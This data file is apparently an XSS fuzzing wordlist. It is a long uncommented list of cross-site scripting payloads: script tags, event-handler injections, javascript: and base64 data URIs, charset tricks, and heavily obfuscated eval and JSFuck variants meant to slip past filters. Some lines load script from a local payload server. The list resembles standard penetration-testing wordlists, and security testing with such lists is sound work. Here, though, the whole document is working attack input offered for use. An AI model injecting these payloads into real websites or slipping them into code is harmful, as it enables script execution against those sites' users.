    "content": "﻿''\">\r\n?><script>alert(?X?)</script>\r\n?><script>alert(1)</script>\r\n</ScrIpt><script>alert(1)</script>\r\n\"><script>alert(1)</script>\r\n'><script>alert(1)</script>\r\n</ScrIpt><script>alert(1)</script>\r\n' '><script>alert(1)</script>\r\n</ScrIpt><script>alert(1)</script>\r\n\"><script>alert(1)</script>\r\n</ScrIpt><script>alert(1)</script>\r\n'><script>alert(1)</script>\r\n</ScrIpt><script>alert(1)</script>\r\n<script>alert(1)</script>\r\n</ScrIpt><script>alert(1)</script>\r\n\"><script>alert(1)</script>\r\n</ScrIpt><script>alert(1)</script>\r\n'><script>alert(1)</script>\r\n</ScrIpt><script>alert(1)</script>\r\n\" onerror=alert(1) \"\r\n\" onerror=alert(1) x=\"\r\n-alert(1)-\r\n-prompt(1)-\r\n<marquee/onstart=confirm(1)>\r\n\"><marquee/onstart=confirm(1)>\r\n'><marquee/onstart=confirm(1)>\r\n<img src=x onerror=prompt(1);>\r\n\"><img src=x onerror=prompt(1);>\r\n'><img src=x onerror=prompt(1);>\r\n<img src=x onerror=prompt(1)>\r\n\"><img src=x onerror=prompt(1)>\r\n'><img src=x onerror=prompt(1)>\r\n'';!--\"<X>=&{()}\r\n<SCRIPT>+alert(\"X\");</SCRIPT>\r\n</ScrIpt><SCRIPT>+alert(\"X\");</SCRIPT>\r\n\"><SCRIPT>+alert(\"X\");</SCRIPT>\r\n</ScrIpt><SCRIPT>+alert(\"X\");</SCRIPT>\r\n'><SCRIPT>+alert(\"X\");</SCRIPT>\r\n</ScrIpt><SCRIPT>+alert(\"X\");</SCRIPT>\r\n<SCRIPT>+alert(\"X\")</SCRIPT>\r\n</ScrIpt><SCRIPT>+alert(\"X\")</SCRIPT>\r\n\"><SCRIPT>+alert(\"X\")</SCRIPT>\r\n</ScrIpt><SCRIPT>+alert(\"X\")</SCRIPT>\r\n'><SCRIPT>+alert(\"X\")</SCRIPT>\r\n</ScrIpt><SCRIPT>+alert(\"X\")</SCRIPT>\r\n<script>alert(/X/)</script>\r\n</ScrIpt><script>alert(/X/)</script>\r\n\"><script>alert(/X/)</script>\r\n</ScrIpt><script>alert(/X/)</script>\r\n'><script>alert(/X/)</script>\r\n</ScrIpt><script>alert(/X/)</script>\r\n<svg><script>varmyvar=\"text&quot;;alert(1)//\";</script></svg>\r\n\"><svg><script>varmyvar=\"text&quot;;alert(1)//\";</script></svg>\r\n'><svg><script>varmyvar=\"text&quot;;alert(1)//\";</script></svg>\r\n<object type=\"text/x-scriptlet\" data=\"http://jsfiddle.net/XLE63/ \"></object>\r\n\"><object type=\"text/x-scriptlet\" data=\"http://jsfiddle.net/XLE63/ \"></object>\r\n'><object type=\"text/x-scriptlet\" data=\"http://jsfiddle.net/XLE63/ \"></object>\r\n<math><a xlink:href=\"//127.0.0.1:3555/xss_serve_payloads/X.js\">click\r\n\"><math><a xlink:href=\"//127.0.0.1:3555/xss_serve_payloads/X.js\">click\r\n'><math><a xlink:href=\"//127.0.0.1:3555/xss_serve_payloads/X.js\">click\r\n<embed code=\"http://127.0.0.1:3555/xss_serve_payloads/flash.swf\" allowscriptaccess=always>\r\n\"><embed code=\"http://127.0.0.1:3555/xss_serve_payloads/flash.swf\" allowscriptaccess=always>\r\n'><embed code=\"http://127.0.0.1:3555/xss_serve_payloads/flash.swf\" allowscriptaccess=always>\r\n<script itworksinallbrowsers>/*<script* */alert(1)</script\r\n\"><script itworksinallbrowsers>/*<script* */alert(1)</script\r\n'><script itworksinallbrowsers>/*<script* */alert(1)</script\r\n<img src ?itworksonchrome?\\/onerror = alert(1)\r\n\"><img src ?itworksonchrome?\\/onerror = alert(1)\r\n'><img src ?itworksonchrome?\\/onerror = alert(1)\r\n<script crossorigin>alert(1);</script>\r\n\"><script crossorigin>alert(1);</script>\r\n'><script crossorigin>alert(1);</script>\r\n<script async>alert(1);</script async>\r\n\"><script async>alert(1);</script async>\r\n'><script async>alert(1);</script async>\r\n<script charset>alert(1);</script charset>\r\n\"><script charset>alert(1);</script charset>\r\n'><script charset>alert(1);</script charset>\r\n<script a b c >alert(1)</script d e f>\r\n\"><script a b c >alert(1)</script d e f>\r\n'><script a b c >alert(1)</script d e f>\r\n<img src=x onerror=document.body.innerHTML=location.hash>#\"><img src=x onerror=prompt(1)>\r\n\"><img src=x onerror=document.body.innerHTML=location.hash>#\"><img src=x onerror=prompt(1)>\r\n'><img src=x onerror=document.body.innerHTML=location.hash>#\"><img src=x onerror=prompt(1)>\r\n\"><img src=x onerror=prompt(1)>\r\n'><img src=x onerror=prompt(1)>\r\n<img src=x onerror=document.body.innerHTML=location.hash>#\"><img/src='x'onerror=prompt(1)>\r\n\"><img src=x onerror=document.body.innerHTML=location.hash>#\"><img/src='x'onerror=prompt(1)>\r\n'><img src=x onerror=document.body.innerHTML=location.hash>#\"><img/src='x'onerror=prompt(1)>\r\n<img src=x onerror=document.body.innerHTML=location.hash>#<img src=x onerror=prompt(1)>\r\n\"><img src=x onerror=document.body.innerHTML=location.hash>#<img src=x onerror=prompt(1)>\r\n'><img src=x onerror=document.body.innerHTML=location.hash>#<img src=x onerror=prompt(1)>\r\n\"><img src=x onerror=prompt(1)>\r\n'><img src=x onerror=prompt(1)>\r\n<img src=x onerror=document.body.innerHTML=location.hash>#<img/src='x'onerror=prompt(1)>\r\n\"><img src=x onerror=document.body.innerHTML=location.hash>#<img/src='x'onerror=prompt(1)>\r\n'><img src=x onerror=document.body.innerHTML=location.hash>#<img/src='x'onerror=prompt(1)>\r\n<svg onload=document.body.innerHTML=location.hash>#<img src=x onerror=alert(1)>\r\n\"><svg onload=document.body.innerHTML=location.hash>#<img src=x onerror=alert(1)>\r\n'><svg onload=document.body.innerHTML=location.hash>#<img src=x onerror=alert(1)>\r\n<svg onload=document.body.innerHTML=location.hash>#<img src='x'onerror=alert(1)>\r\n\"><svg onload=document.body.innerHTML=location.hash>#<img src='x'onerror=alert(1)>\r\n'><svg onload=document.body.innerHTML=location.hash>#<img src='x'onerror=alert(1)>\r\n<svg onload=document.body.innerHTML=location.hash>#<svg onload=prompt(1)>\r\n\"><svg onload=document.body.innerHTML=location.hash>#<svg onload=prompt(1)>\r\n'><svg onload=document.body.innerHTML=location.hash>#<svg onload=prompt(1)>\r\n<svg onload=document.body.innerHTML=location.hash>#<svg/onload=prompt(1)>\r\n\"><svg onload=document.body.innerHTML=location.hash>#<svg/onload=prompt(1)>\r\n'><svg onload=document.body.innerHTML=location.hash>#<svg/onload=prompt(1)>\r\n--!><svg onload=prompt(1)\r\neval(((_=!1)+{})[1]+(_+{})[2]+(_+{})[4]+((_=!!1)+{})[1]+(_+{})[0]+((_=>(_))+1)[3]+1+((_=>(_))+1)[5])\r\neval((_=!0+(()=>0)+!1)[10]+_[11]+_[3]+_[1]+_[0]+_[4]+1+_[5])\r\n<marquee>alert( `X :)`)</marquee>\r\n\"><marquee>alert( `X :)`)</marquee>\r\n'><marquee>alert( `X :)`)</marquee>\r\n<\"script\">\"alert(0)\"</\"script\">\r\n\"><\"script\">\"alert(0)\"</\"script\">\r\n'><\"script\">\"alert(0)\"</\"script\">\r\n<s[NULL]cript>alert(1)</s[NULL]cript>'>X</a>\r\n\"><s[NULL]cript>alert(1)</s[NULL]cript>'>X</a>\r\n'><s[NULL]cript>alert(1)</s[NULL]cript>'>X</a>\r\n<video><source o?UTF-8?Q?n?error=\"alert(1)\">\r\n\"><video><source o?UTF-8?Q?n?error=\"alert(1)\">\r\n'><video><source o?UTF-8?Q?n?error=\"alert(1)\">\r\n<body scroll=alert(1)><br><br><br><br><br><br>...<br><br><br><br><input autofocus>\r\n\"><body scroll=alert(1)><br><br><br><br><br><br>...<br><br><br><br><input autofocus>\r\n'><body scroll=alert(1)><br><br><br><br><br><br>...<br><br><br><br><input autofocus>\r\n<meta charset=\"x-mac-farsi\">??script ??alert(1)//??/script ??\r\n\"><meta charset=\"x-mac-farsi\">??script ??alert(1)//??/script ??\r\n'><meta charset=\"x-mac-farsi\">??script ??alert(1)//??/script ??\r\n<x onload'=alert(1)\r\n\"><x onload'=alert(1)\r\n'><x onload'=alert(1)\r\n<sc'+'ript>alert(1)</script>\r\n\"><sc'+'ript>alert(1)</script>\r\n'><sc'+'ript>alert(1)</script>\r\n<FRAMESET><FRAME RC=\"\"+\"javascript:alert('X');\"></FRAMESET>\r\n\"><FRAMESET><FRAME RC=\"\"+\"javascript:alert('X');\"></FRAMESET>\r\n'><FRAMESET><FRAME RC=\"\"+\"javascript:alert('X');\"></FRAMESET>\r\n</script>\"//'//<svg%0Aonload=alert(1)//>\r\n\"></script>\"//'//<svg%0Aonload=alert(1)//>\r\n'></script>\"//'//<svg%0Aonload=alert(1)//>\r\n'//</script><svg%20\"%0aonload=alert(1)%20//>\r\n</script>'//<svg \"%0Aonload=alert(1) //>\r\n\"></script>'//<svg \"%0Aonload=alert(1) //>\r\n'></script>'//<svg \"%0Aonload=alert(1) //>\r\n'//</script><svg \"%0Aonload=alert(1)// />\r\n</script>\"//'//<svg%0Aonload=alert(1) //>\r\n\"></script>\"//'//<svg%0Aonload=alert(1) //>\r\n'></script>\"//'//<svg%0Aonload=alert(1) //>\r\n</script>'//<svg \"%0Aonload=alert(1)// />\r\n\"></script>'//<svg \"%0Aonload=alert(1)// />\r\n'></script>'//<svg \"%0Aonload=alert(1)// />\r\n</script \"//'//><svg%0Aonload=alert(1)//>\r\n\"></script \"//'//><svg%0Aonload=alert(1)//>\r\n'></script \"//'//><svg%0Aonload=alert(1)//>\r\n';//</script><svg \";%0Aonload=alert(1)// />#\r\n</script><img src '//\"%0Aonerror=alert(1)//\r\n\"></script><img src '//\"%0Aonerror=alert(1)//\r\n'></script><img src '//\"%0Aonerror=alert(1)//\r\n</script><svg onload='-/\"/-[alert(1)]//'/>\r\n\"></script><svg onload='-/\"/-[alert(1)]//'/>\r\n'></script><svg onload='-/\"/-[alert(1)]//'/>\r\n</script><img '//\"%0Aonerror=alert(1)// src>\r\n\"></script><img '//\"%0Aonerror=alert(1)// src>\r\n'></script><img '//\"%0Aonerror=alert(1)// src>\r\n</script><img '//\"%0Aonerror=alert(1)// src=1>\r\n\"></script><img '//\"%0Aonerror=alert(1)// src=1>\r\n'></script><img '//\"%0Aonerror=alert(1)// src=1>\r\n</script \"/*'/*><svg */; onload=alert(1) //>\r\n\"></script \"/*'/*><svg */; onload=alert(1) //>\r\n'></script \"/*'/*><svg */; onload=alert(1) //>\r\n</script><script>/*\"/*'/**/;alert(1)//</script>#\r\n\"></script><script>/*\"/*'/**/;alert(1)//</script>#\r\n'></script><script>/*\"/*'/**/;alert(1)//</script>#\r\n</script \"/*'/*><img/src=x */; onerror=alert(1) //\r\n\"></script \"/*'/*><img/src=x */; onerror=alert(1) //\r\n'></script \"/*'/*><img/src=x */; onerror=alert(1) //\r\n</script><script>/*var a=\"/*\"\"'/**/;alert(1);//</script>\r\n\"></script><script>/*var a=\"/*\"\"'/**/;alert(1);//</script>\r\n'></script><script>/*var a=\"/*\"\"'/**/;alert(1);//</script>\r\n<iframe src=\"data:data:javascript:,% 3 c script % 3 e confirm(1) % 3 c/script %3 e\">\r\n\"><iframe src=\"data:data:javascript:,% 3 c script % 3 e confirm(1) % 3 c/script %3 e\">\r\n'><iframe src=\"data:data:javascript:,% 3 c script % 3 e confirm(1) % 3 c/script %3 e\">\r\n' style='width:expression(prompt(1));\r\n\"width:expression(prompt(1))\r\nwidth:\\0065\\0078\\0070\\0072\\0065\\0073\\0073\\0069\\006F\\006E\\0028\\0070\\0072\\006F\\006D\\0070\\0074\\0028\\0031\\0029\\0029\r\njavascript:prompt(1)\r\njavascript:\\u0070rompt&#x28;1&#x29;\r\njAvAsCrIpT&colon;prompt&lpar;1&rpar;\r\nhttp://jsfiddle.net/xboz/c7vvkedv/\r\n<EMBED SRC=\"data:image/svg+xml;base64,PHN2ZyB4bWxuczpzdmc9Imh0dH A6Ly93d3cudzMub3JnLzIwMDAvc3ZnIiB4bWxucz0iaHR0cDovL3d3dy53My5vcmcv MjAwMC9zdmciIHhtbG5zOnhsaW5rPSJodHRwOi8vd3d3LnczLm9yZy8xOTk5L3hs aW5rIiB2ZXJzaW9uPSIxLjAiIHg9IjAiIHk9IjAiIHdpZHRoPSIxOTQiIGhlaWdodD0iMjAw IiBpZD0ieHNzIj48c2NyaXB0IHR5cGU9InRleHQvZWNtYXNjcmlwdCI+YWxlcnQoIlh TUyIpOzwvc2NyaXB0Pjwvc3ZnPg==\" type=\"image/svg+xml\" AllowScriptAccess=\"always\"></EMBED>\r\n\"><EMBED SRC=\"data:image/svg+xml;base64,PHN2ZyB4bWxuczpzdmc9Imh0dH A6Ly93d3cudzMub3JnLzIwMDAvc3ZnIiB4bWxucz0iaHR0cDovL3d3dy53My5vcmcv MjAwMC9zdmciIHhtbG5zOnhsaW5rPSJodHRwOi8vd3d3LnczLm9yZy8xOTk5L3hs aW5rIiB2ZXJzaW9uPSIxLjAiIHg9IjAiIHk9IjAiIHdpZHRoPSIxOTQiIGhlaWdodD0iMjAw IiBpZD0ieHNzIj48c2NyaXB0IHR5cGU9InRleHQvZWNtYXNjcmlwdCI+YWxlcnQoIlh TUyIpOzwvc2NyaXB0Pjwvc3ZnPg==\" type=\"image/svg+xml\" AllowScriptAccess=\"always\"></EMBED>\r\n'><EMBED SRC=\"data:image/svg+xml;base64,PHN2ZyB4bWxuczpzdmc9Imh0dH A6Ly93d3cudzMub3JnLzIwMDAvc3ZnIiB4bWxucz0iaHR0cDovL3d3dy53My5vcmcv MjAwMC9zdmciIHhtbG5zOnhsaW5rPSJodHRwOi8vd3d3LnczLm9yZy8xOTk5L3hs aW5rIiB2ZXJzaW9uPSIxLjAiIHg9IjAiIHk9IjAiIHdpZHRoPSIxOTQiIGhlaWdodD0iMjAw IiBpZD0ieHNzIj48c2NyaXB0IHR5cGU9InRleHQvZWNtYXNjcmlwdCI+YWxlcnQoIlh TUyIpOzwvc2NyaXB0Pjwvc3ZnPg==\" type=\"image/svg+xml\" AllowScriptAccess=\"always\"></EMBED>\r\n<DIV STYLE=\"width:\\0065\\0078\\0070\\0072\\0065\\0073\\0073\\0069\\006F\\006E\\0028\\0070\\0072\\006F\\006D\\0070\\0074\\0028\\0031\\0029\\0029\">\r\n\"><DIV STYLE=\"width:\\0065\\0078\\0070\\0072\\0065\\0073\\0073\\0069\\006F\\006E\\0028\\0070\\0072\\006F\\006D\\0070\\0074\\0028\\0031\\0029\\0029\">\r\n'><DIV STYLE=\"width:\\0065\\0078\\0070\\0072\\0065\\0073\\0073\\0069\\006F\\006E\\0028\\0070\\0072\\006F\\006D\\0070\\0074\\0028\\0031\\0029\\0029\">\r\ndata:application/x-x509-user-cert;&NewLine;base64&NewLine;,PHNjcmlwdD5wcm9tcHQoMSk8L3NjcmlwdD4=\r\ndata:image/svg+xml;base64,PHN2ZyB4bWxuczpzdmc9Imh0dHA6Ly93d3cudzMub3JnLzIwMDAvc3ZnIiB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciIHhtbG5zOnhsaW5rPSJodHRwOi8vd3d3LnczLm9yZy8xOTk5L3hsaW5rIiB2ZXJzaW9uPSIxLjAiIHg9IjAiIHk9IjAiIHdpZHRoPSIxOTQiIGhlaWdodD0iMjAwIiBpZD0ieHNzIj48c2NyaXB0IHR5cGU9InRleHQvZWNtYXNjcmlwdCI+cHJvbXB0KDEpOzwvc2NyaXB0Pjwvc3ZnPg==\r\ndata:text/html;base64,PHNjcmlwdD5wcm9tcHQoMSk8L3NjcmlwdD4=\r\ndata:text/html;,&#60&#115&#99&#114&#105&#112&#116&#62&#112&#114&#111&#109&#112&#116&#40&#49&#41&#60&#47&#115&#99&#114&#105&#112&#116&#62\r\n``onerror=prompt(1)\r\nalert(/XSS/);\r\n1;alert(/XSS/);\r\n1';alert(/XSS/);x='1\r\n';alert(/XSS/);'\r\n<svg><script>prompt&#40 1&#41</script>\r\n\"><svg><script>prompt&#40 1&#41</script>\r\n'><svg><script>prompt&#40 1&#41</script>\r\n<html> <script> var a=\"</script><script>alert(1)//\";</script> </html>\r\n\"><html> <script> var a=\"</script><script>alert(1)//\";</script> </html>\r\n'><html> <script> var a=\"</script><script>alert(1)//\";</script> </html>\r\n&#34;><script>alert(1)</script>\r\n</ScrIpt><script>alert(1)</script>\r\n\"><script>alert(1)</script>\r\n</ScrIpt><script>alert(1)</script>\r\n'><script>alert(1)</script>\r\n</ScrIpt><script>alert(1)</script>\r\n'';}}</script><script>alert(1)</script>\r\n</ScrIpt><script>alert(1)</script>\r\n\"><script>alert(1)</script>\r\n</ScrIpt><script>alert(1)</script>\r\n'><script>alert(1)</script>\r\n</ScrIpt><script>alert(1)</script>\r\n<body onpageshow=alert(1)>\r\n\"><body onpageshow=alert(1)>\r\n'><body onpageshow=alert(1)>\r\n<body onpageshow=alert(1);>\r\n\"><body onpageshow=alert(1);>\r\n'><body onpageshow=alert(1);>\r\n<body/onpageshow=alert(1)>\r\n\"><body/onpageshow=alert(1)>\r\n'><body/onpageshow=alert(1)>\r\n<body/onpageshow=alert(1);>\r\n\"><body/onpageshow=alert(1);>\r\n'><body/onpageshow=alert(1);>\r\n\"><b/onclick=\"javascript:window.window.window['alert'](1)\">bold\r\n<body language=vbs onload=window.location='data:text/html;base64,PGltZyBzcmM9eCBvbmVycm9yPWFsZXJ0KDEpPg=='>\r\n\"><body language=vbs onload=window.location='data:text/html;base64,PGltZyBzcmM9eCBvbmVycm9yPWFsZXJ0KDEpPg=='>\r\n'><body language=vbs onload=window.location='data:text/html;base64,PGltZyBzcmM9eCBvbmVycm9yPWFsZXJ0KDEpPg=='>\r\nbehaviour:url\\0028javascript:alert\\0028[0][0]\\0029\\0029\r\n<iframe src=\"javascript:x:alert(1)\">\r\n\"><iframe src=\"javascript:x:alert(1)\">\r\n'><iframe src=\"javascript:x:alert(1)\">\r\n<a href=\"javascript:x:alert(1)\">x</a>\r\n\"><a href=\"javascript:x:alert(1)\">x</a>\r\n'><a href=\"javascript:x:alert(1)\">x</a>\r\n<a href=j&#x00000000041vascr&#x00000000069pt:alert(1)>X</a>\r\n\"><a href=j&#x00000000041vascr&#x00000000069pt:alert(1)>X</a>\r\n'><a href=j&#x00000000041vascr&#x00000000069pt:alert(1)>X</a>\r\n<div contextmenu=x>right-click<menu id=x onshow=alert(1)>\r\n\"><div contextmenu=x>right-click<menu id=x onshow=alert(1)>\r\n'><div contextmenu=x>right-click<menu id=x onshow=alert(1)>\r\n\";document.body.addEventListener(\"DOMActivate\",alert(1))//\r\n/*@cc_on @if(1)alert(1)@end\r\nvar a=0; ((a == 1) ? 2 : alert(1));//\r\n(0)['constructor']['constructor'](\"\\141\\154\\145\\162\\164(1)\")();\r\n<input oninput=alert(1)>\r\n\"><input oninput=alert(1)>\r\n'><input oninput=alert(1)>\r\n<video onprogress=alert(1)><source src=//a.a>\r\n\"><video onprogress=alert(1)><source src=//a.a>\r\n'><video onprogress=alert(1)><source src=//a.a>\r\n<video onprogress=alert(1)><source src=x>\r\n\"><video onprogress=alert(1)><source src=x>\r\n'><video onprogress=alert(1)><source src=x>\r\n<video/onprogress=alert(1)><source/src=//a.a>\r\n\"><video/onprogress=alert(1)><source/src=//a.a>\r\n'><video/onprogress=alert(1)><source/src=//a.a>\r\n<video/onprogress=alert(1)><source/src=x>\r\n\"><video/onprogress=alert(1)><source/src=x>\r\n'><video/onprogress=alert(1)><source/src=x>\r\n<video onprogress=alert(1)><source src=http://127.0.0.1:3555/xss_serve_payloads/X.ogg>\r\n\"><video onprogress=alert(1)><source src=http://127.0.0.1:3555/xss_serve_payloads/X.ogg>\r\n'><video onprogress=alert(1)><source src=http://127.0.0.1:3555/xss_serve_payloads/X.ogg>\r\n<video/onprogress=alert(1)><source/src=http://127.0.0.1:3555/xss_serve_payloads/X.ogg>\r\n\"><video/onprogress=alert(1)><source/src=http://127.0.0.1:3555/xss_serve_payloads/X.ogg>\r\n'><video/onprogress=alert(1)><source/src=http://127.0.0.1:3555/xss_serve_payloads/X.ogg>\r\n<svg onload=\\u0061lert(1)>\r\n\"><svg onload=\\u0061lert(1)>\r\n'><svg onload=\\u0061lert(1)>\r\n<meta%20charset=HZ-GB-2312><scrip~}t>alert(1)</scrip~}t>\r\n\"><meta%20charset=HZ-GB-2312><scrip~}t>alert(1)</scrip~}t>\r\n'><meta%20charset=HZ-GB-2312><scrip~}t>alert(1)</scrip~}t>\r\n<meta charset=HZ-GB-2312><scrip~}t>alert(1)</script>\r\n\"><meta charset=HZ-GB-2312><scrip~}t>alert(1)</script>\r\n'><meta charset=HZ-GB-2312><scrip~}t>alert(1)</script>\r\n<meta charset=utf-7><img src=x o%2BAG4-error=alert(1)>\r\n\"><meta charset=utf-7><img src=x o%2BAG4-error=alert(1)>\r\n'><meta charset=utf-7><img src=x o%2BAG4-error=alert(1)>\r\n<meta charset=Shift_JIS><script>x=\"?\\\";alert(1)//\"</script>\r\n\"><meta charset=Shift_JIS><script>x=\"?\\\";alert(1)//\"</script>\r\n'><meta charset=Shift_JIS><script>x=\"?\\\";alert(1)//\"</script>\r\nthis[\"alert\"](\"X\")\r\nthis['alert'](1)\r\n<script>this[\"alert\"](\"X\")</script>\r\n</ScrIpt><script>this[\"alert\"](\"X\")</script>\r\n\"><script>this[\"alert\"](\"X\")</script>\r\n</ScrIpt><script>this[\"alert\"](\"X\")</script>\r\n'><script>this[\"alert\"](\"X\")</script>\r\n</ScrIpt><script>this[\"alert\"](\"X\")</script>\r\n<svg/onload=t=/aler/.source+/t/.source;window.onerror=window[t];throw+1;//\r\n\"><svg/onload=t=/aler/.source+/t/.source;window.onerror=window[t];throw+1;//\r\n'><svg/onload=t=/aler/.source+/t/.source;window.onerror=window[t];throw+1;//\r\n<svg\fonload=alert(1)>\r\n\"><svg\fonload=alert(1)>\r\n'><svg\fonload=alert(1)>\r\n<svg><use xlink:href=\"data:image/svg+xml;base64,PHN2ZyBpZD0icmVjdGFuZ2xlIiB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciIHhtbG5zOnhsaW5rPSJodHRwOi8vd3d3LnczLm9yZy8xOTk5L3hsaW5rIiAgICB3aWR0aD0iMTAwIiBoZWlnaHQ9IjEwMCI+PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg0KIDxmb3JlaWduT2JqZWN0IHdpZHRoPSIxMDAiIGhlaWdodD0iNTAiDQogICAgICAgICAgICAgICAgICAgcmVxdWlyZWRFeHRlbnNpb25zPSJodHRwOi8vd3d3LnczLm9yZy8xOTk5L3hodG1sIj4NCgk8ZW1iZWQgeG1sbnM9Imh0dHA6Ly93d3cudzMub3JnLzE5OTkveGh0bWwiIHNyYz0iamF2YXNjcmlwdDphbGVydCgxKSIgLz4NCiAgICA8L2ZvcmVpZ25PYmplY3Q+DQo8L3N2Zz4=#rectangle\" />\r\n\"><svg><use xlink:href=\"data:image/svg+xml;base64,PHN2ZyBpZD0icmVjdGFuZ2xlIiB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciIHhtbG5zOnhsaW5rPSJodHRwOi8vd3d3LnczLm9yZy8xOTk5L3hsaW5rIiAgICB3aWR0aD0iMTAwIiBoZWlnaHQ9IjEwMCI+PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg0KIDxmb3JlaWduT2JqZWN0IHdpZHRoPSIxMDAiIGhlaWdodD0iNTAiDQogICAgICAgICAgICAgICAgICAgcmVxdWlyZWRFeHRlbnNpb25zPSJodHRwOi8vd3d3LnczLm9yZy8xOTk5L3hodG1sIj4NCgk8ZW1iZWQgeG1sbnM9Imh0dHA6Ly93d3cudzMub3JnLzE5OTkveGh0bWwiIHNyYz0iamF2YXNjcmlwdDphbGVydCgxKSIgLz4NCiAgICA8L2ZvcmVpZ25PYmplY3Q+DQo8L3N2Zz4=#rectangle\" />\r\n'><svg><use xlink:href=\"data:image/svg+xml;base64,PHN2ZyBpZD0icmVjdGFuZ2xlIiB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciIHhtbG5zOnhsaW5rPSJodHRwOi8vd3d3LnczLm9yZy8xOTk5L3hsaW5rIiAgICB3aWR0aD0iMTAwIiBoZWlnaHQ9IjEwMCI+PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg0KIDxmb3JlaWduT2JqZWN0IHdpZHRoPSIxMDAiIGhlaWdodD0iNTAiDQogICAgICAgICAgICAgICAgICAgcmVxdWlyZWRFeHRlbnNpb25zPSJodHRwOi8vd3d3LnczLm9yZy8xOTk5L3hodG1sIj4NCgk8ZW1iZWQgeG1sbnM9Imh0dHA6Ly93d3cudzMub3JnLzE5OTkveGh0bWwiIHNyYz0iamF2YXNjcmlwdDphbGVydCgxKSIgLz4NCiAgICA8L2ZvcmVpZ25PYmplY3Q+DQo8L3N2Zz4=#rectangle\" />\r\n\"-alert(1)-\"\r\n\"/alert(1)/\"\r\n\"|alert(1)|\"\r\n==alert(1)==\r\n[alert(1)]+\r\n^alert(1)^\r\n|alert(1)|\r\n&alert(1)&\r\n>>alert(1)>>\r\n<form name=self location=\"javascript:alert(1)\"\r\n\"><form name=self location=\"javascript:alert(1)\"\r\n'><form name=self location=\"javascript:alert(1)\">\r\n\"><form name=self location=\"javascript:alert(1)\"\r\n\"><form name=self location=\"javascript:alert(1)\"\r\n'><form name=self location=\"javascript:alert(1)\">\r\n'><form name=self location=\"javascript:alert(1)\"\r\n\"><form name=self location=\"javascript:alert(1)\"\r\n'><form name=self location=\"javascript:alert(1)\">\r\n<form name=self location=\"javascript:alert(1)\"\r\n\"><form name=self location=\"javascript:alert(1)\"\r\n'><form name=self location=\"javascript:alert(1)\"\r\n'|\\u0061lert()|'\r\n<style%0conload=alert(1)>\r\n\"><style%0conload=alert(1)>\r\n'><style%0conload=alert(1)>\r\n<ScR<ScRiPt>IpT>prompt(1)<%2FsCr<ScRiPt>IpT>\r\n\"><ScR<ScRiPt>IpT>prompt(1)<%2FsCr<ScRiPt>IpT>\r\n'><ScR<ScRiPt>IpT>prompt(1)<%2FsCr<ScRiPt>IpT>\r\n<scrip<script>t>alert(1)</script>\r\n\"><scrip<script>t>alert(1)</script>\r\n'><scrip<script>t>alert(1)</script>\r\njavasCript:eval%28'aler'+'t'+'%28%29'%29\r\n&quot;&gt;&lt;img src=x onerror=confirm(1);&gt;\r\nData:text/html;base64,PGltZyBzcmM9eCBvbmVycm9yPWFsZXJ0KDEpPg==\r\n<img%0D%0Asrc%3Da%0D%0Aonerror%3Dalert%281%29>\r\n\"><img%0D%0Asrc%3Da%0D%0Aonerror%3Dalert%281%29>\r\n'><img%0D%0Asrc%3Da%0D%0Aonerror%3Dalert%281%29>\r\n<IMG SRC=\"jav\tascript:alert('X');\">\r\n\"><IMG SRC=\"jav\tascript:alert('X');\">\r\n'><IMG SRC=\"jav\tascript:alert('X');\">\r\n<BODY onload!#$%&()*~+-_.,:;?@[/|\\]^`=alert(\"X\")>\r\n\"><BODY onload!#$%&()*~+-_.,:;?@[/|\\]^`=alert(\"X\")>\r\n'><BODY onload!#$%&()*~+-_.,:;?@[/|\\]^`=alert(\"X\")>\r\n\\\";alert('X');//\r\n&#x00027;; confirm(1); &#x00027;\r\n&#39;; confirm(1); &#39;\r\n%27; confirm(1); %27\r\n&apos;; confirm(1); &apos;\r\n\\u0027 confirm(1); \\u0027\r\n\"; [][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]][([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]]((![]+[])[+!+[]]+(![]+[])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]+(!![]+[])[+[]]+(![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]])[!+[]+!+[]+[+[]]]+[+!+[]]+(!![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]])[!+[]+!+[]+[+[]]])(); \"\r\n\"; eval('\\u0061'+'\\x6c'+'e'+'r'+'t')(2); \"\r\n\"; alert&#40 3&#41 ; \"\r\n\"; 